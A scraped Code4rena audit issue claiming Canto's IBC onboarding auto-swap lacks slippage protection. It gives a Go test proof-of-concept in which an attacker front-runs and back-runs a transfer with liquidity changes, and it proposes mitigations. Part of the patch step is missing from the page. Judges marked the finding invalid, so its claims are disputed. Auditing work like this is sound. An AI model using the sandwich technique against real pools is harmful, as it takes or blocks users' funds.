search

code-423n4 / 2023-06-canto-findings

1 stars 0 forks source link

Missing slippage protection leads to potential sandwich of small transfers or blocking the swap feature #68

Closed code423n4 closed 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-06-canto/blob/main/Canto/x/onboarding/keeper/ibc_callbacks.go#L93-L96

Vulnerability details

Impact

The swap module is invoked with a default of coinswaptypes.Input{Coin: transferredCoin, Address: recipient.String()}, coinswaptypes.Output{Coin: swapCoins, Address: recipient.String()}. The swap module makes sure that in tokens of the swap are limitted to MaxSwapAmount, e.g. 10USDC. But aside for that, no slippage percentage is set for the swap at all. For small transfers, an attacker can sandwich the transaction by placing one frontrunning transaction and one backrunning transaction that will change the pool's swap price to the worst case. It means that transferredCoin can potentially be drained completely by a sandwich attack on the IBC transfer transaction. Luckily, the code sets a max swap amount of +-$10, e.g. 10USDC. Slippage above that will cancel the swap completely. The worst possible outcome is to swap 10USDC for 4canto, which is currently a ~$9.6 loss for each bridge. While not critical for major transfers, for smaller users (especially those just onboarding) this can be a big loss and a big percentage of the whole IBC transfer. Another potential attack would be to sandwich with a large single-sided liquidity, e.g. adding lots of USDC to the pool, which will cause the canto price to rise. When the swap will be executed, the MaxSwapAmount will block the swap, causing the swap feature to be disabled. The backrunning transaction will remove the liquidity, this way the attacker will not lose any funds at all.

Proof of Concept

  1. Add these lines to x/onboarding/keeper/ibc_callbacks_integration_suite_test.go :

func (suite IBCTestingSuite) FundAccount(coins sdk.Coins, account sdk.AccAddress) { err := suite.cantoChain.App.(app.Canto).BankKeeper.MintCoins(suite.cantoChain.GetContext(), inflationtypes.ModuleName, coins) suite.Require().NoError(err) err = suite.cantoChain.App.(*app.Canto).BankKeeper.SendCoinsFromModuleToAccount(suite.cantoChain.GetContext(), inflationtypes.ModuleName, account, coins) suite.Require().NoError(err) }

func (suite IBCTestingSuite) AddLiquidity(account sdk.AccAddress, standardCoins sdk.Coin, nonStandardCoin sdk.Coin) sdk.Coin { coinswapKeeper := suite.cantoChain.App.(app.Canto).CoinswapKeeper coinswapKeeper.SetStandardDenom(suite.cantoChain.GetContext(), "acanto") coinswapParams := coinswapKeeper.GetParams(suite.cantoChain.GetContext()) coinswapParams.MaxSwapAmount = sdk.NewCoins(sdk.NewCoin(nonStandardCoin.Denom, sdk.NewIntWithDecimal(10, 6))) coinswapKeeper.SetParams(suite.cantoChain.GetContext(), coinswapParams)

// Create a message to add liquidity to the pool
msgAddLiquidity := coinswaptypes.MsgAddLiquidity{
    MaxToken:         nonStandardCoin,
    ExactStandardAmt: standardCoins.Amount,
    MinLiquidity:     sdk.NewInt(1),
    Deadline:         time.Now().Add(time.Minute * 10).Unix(),
    Sender:           account.String(),
}

// Add liquidity to the pool
lpt, err := suite.cantoChain.App.(*app.Canto).CoinswapKeeper.AddLiquidity(suite.cantoChain.GetContext(), &msgAddLiquidity)
suite.Require().NoError(err)

return lpt

}

func (suite IBCTestingSuite) RemoveLiquidity(account sdk.AccAddress, lpt sdk.Coin) { msgRemoveLiquidity := coinswaptypes.MsgRemoveLiquidity{ WithdrawLiquidity: lpt, MinToken: sdk.NewInt(1), MinStandardAmt: sdk.NewInt(1), Deadline: time.Now().Add(time.Minute 10).Unix(), Sender: account.String(), }

_, err := suite.cantoChain.App.(*app.Canto).CoinswapKeeper.RemoveLiquidity(suite.cantoChain.GetContext(), &msgRemoveLiquidity)
suite.Require().NoError(err)

}


2. Apply this patch (changes coincanto/coinIBC and MaxToken/ExactStandardAmt to be 1k instead of 10k)

diff --git a/Canto/x/onboarding/keeper/ibc_callbacks_integration_suite_test.go b/Canto/x/onboarding/keeper/ibc_callbacks_integration_suite_test.go index fa05879..27ed34e 100644 --- a/Canto/x/onboarding/keeper/ibc_callbacks_integration_suite_test.go +++ b/Canto/x/onboarding/keeper/ibc_callbacks_integration_suite_test.go @@ -120,8 +120,8 @@ func (suite IBCTestingSuite) setupRegisterCoin(metadata banktypes.Metadata) er

// CreatePool creates a pool with acanto and the given denom func (suite *IBCTestingSuite) CreatePool(denom string) {

@@ -133,8 +133,8 @@ func (suite *IBCTestingSuite) CreatePool(denom string) {

    // Create a message to add liquidity to the pool
    msgAddLiquidity := coinswaptypes.MsgAddLiquidity{
  1. Overwrite x/onboarding/keeper/ibc_callbacks_integration_test.go with this code: 
    
package keeper_test

import ( . "github.com/onsi/ginkgo/v2" . "github.com/onsi/gomega"

sdk "github.com/cosmos/cosmos-sdk/types"

"github.com/Canto-Network/Canto/v6/app"

)

var _ = Describe("Onboarding: Performing an IBC Transfer followed by autoswap and convert", Ordered, func() { ibcBalance := sdk.NewCoin(uusdcIbcdenom, sdk.NewIntWithDecimal(10000, 6)) attackerUsdcCoin := sdk.NewCoin(uusdcIbcdenom, sdk.NewIntWithDecimal(100000000, 6)) attackerCantoCoin := sdk.NewCoin("acanto", sdk.OneInt())

var (
    sender, receiver string
    attackerAcc      sdk.AccAddress
    receiverAcc      sdk.AccAddress
)

BeforeEach(func() {
    s.SetupTest()
})

Describe("from an authorized channel: Gravity ---(uUSDC)---> Canto", func() {
    When("ERC20 contract is deployed and token pair is enabled", func() {
        BeforeEach(func() {
            sender = s.IBCGravityChain.SenderAccount.GetAddress().String()
            receiver = s.cantoChain.SenderAccount.GetAddress().String()
            receiverAcc = sdk.MustAccAddressFromBech32(receiver)

            attackerAcc = sdk.MustAccAddressFromBech32("canto1zyg3zyg3zyg3zyg3zyg3zyg3zyg3zyg3ntkjx8") // 0x1111...1111

            s.FundCantoChain(sdk.NewCoins(ibcBalance))

            s.FundAccount(sdk.NewCoins(attackerCantoCoin, attackerUsdcCoin), attackerAcc)
        })

        Context("when swap pool exists", func() {
            BeforeEach(func() {
            })

            When("Attacker doesn't add liquidity - swap complete", func() {
                BeforeEach(func() {
                    s.CreatePool(uusdcIbcdenom)
                    s.SendAndReceiveMessage(s.pathGravitycanto, s.IBCGravityChain, "uUSDC", 10000000000, sender, receiver, 1)
                })
                It("Swap: balance of acanto should be same with the auto swap threshold", func() {
                    autoSwapThreshold := s.cantoChain.App.(*app.Canto).OnboardingKeeper.GetParams(s.cantoChain.GetContext()).AutoSwapThreshold
                    nativecanto := s.cantoChain.App.(*app.Canto).BankKeeper.GetBalance(s.cantoChain.GetContext(), receiverAcc, "acanto")
                    Expect(nativecanto).To(Equal(sdk.NewCoin("acanto", autoSwapThreshold)))
                })
            })

            When("Attacker adds liquidity - swap fails", func() {
                BeforeEach(func() {
                    //Attacker front runs with single sided add liquidity. Will also create the pool
                    lpt := s.AddLiquidity(attackerAcc, attackerCantoCoin, attackerUsdcCoin)
                    // IBC packet
                    s.SendAndReceiveMessage(s.pathGravitycanto, s.IBCGravityChain, "uUSDC", 10000000000, sender, receiver, 1)
                    s.RemoveLiquidity(attackerAcc, lpt)
                })
                It("Swap: balance of acanto should be same with the auto swap threshold", func() {
                    nativecanto := s.cantoChain.App.(*app.Canto).BankKeeper.GetBalance(s.cantoChain.GetContext(), receiverAcc, "acanto")
                    Expect(nativecanto).To(Equal(sdk.NewCoin("acanto", sdk.ZeroInt())))
                })
            })
        })
    })
})

})



The test will create a new pool by the attacker, where the slippage is too bad for a swap to be executed.
The IBC packet will not trigger the swap.
The attacker will then remove the new liquidity.
So overall - attacker lost no funds, and the user didn't perform the swap.

## Tools Used
IDE.

## Recommended Mitigation Steps
Users should be able to set a maximum slippage for their transfers. One possible solution is to write that in the `memo` field of the IBC transfer.
This way users will also be able to opt out of the swap completely.

Another solution to completely remove a sandwiching opprotunity is to do the actual swap in the `EndBlocker` phase of the block. (A potential cross-block sandwich attack is still possible). Swaps can be registtered in a qeue and then dequeued in the handler.

## Assessed type

MEV
c4-pre-sort commented 1 year ago

JeffCX marked the issue as duplicate of #74

c4-judge commented 1 year ago

0xean marked the issue as unsatisfactory: Invalid